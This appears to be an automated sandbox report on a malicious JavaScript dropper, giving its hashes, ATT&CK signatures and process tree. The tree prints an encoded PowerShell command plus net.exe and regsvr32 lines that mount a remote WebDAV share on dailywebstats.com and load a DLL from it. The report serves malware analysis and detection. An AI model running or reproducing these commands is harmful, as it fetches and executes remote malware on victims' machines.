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Analysis

  • max time kernel
    117s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    26/07/2024, 12:37

General

  • Target

    24512273992155119888.js

  • Size

    16KB

  • MD5

    81f40ac6804ff55ae429b1f889d43919

  • SHA1

    622b8e291d62965f213d0171863bf0cca613817c

  • SHA256

    729ba61dd005270ac9ea1a3fcacbfd615c2b1ffcaa8c02477205590c1bd491f4

  • SHA512

    82c6bdb877e62b5791c81238bcb6c9dcb69106493defdb866ed6bcf467cb87213c9e8a1007524f7de8c6c19566fc3f7dd92d93186908a03e816c96118c97aaa0

  • SSDEEP

    192:6iAQi4t9L0q0hh5p1hKJHhFSAlnFaygFSAlnFCt:6i3DUmBPXyJXe

Malware Config

Signatures

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\24512273992155119888.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2708
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADQANwA4ADMANgAyADcAOQAxADMAOAAxADUALgBkAGwAbAA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2432
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:2484
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\4783627913815.dll
          3⤵
            PID:2732

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2432-4-0x000007FEF546E000-0x000007FEF546F000-memory.dmp

        Filesize

        4KB

      • memory/2432-5-0x000000001B590000-0x000000001B872000-memory.dmp

        Filesize

        2.9MB

      • memory/2432-6-0x0000000002260000-0x0000000002268000-memory.dmp

        Filesize

        32KB

      • memory/2432-7-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

        Filesize

        9.6MB

      • memory/2432-8-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

        Filesize

        9.6MB

      • memory/2432-9-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

        Filesize

        9.6MB

      • memory/2432-10-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

        Filesize

        9.6MB

      • memory/2432-11-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

        Filesize

        9.6MB

      • memory/2432-12-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

        Filesize

        9.6MB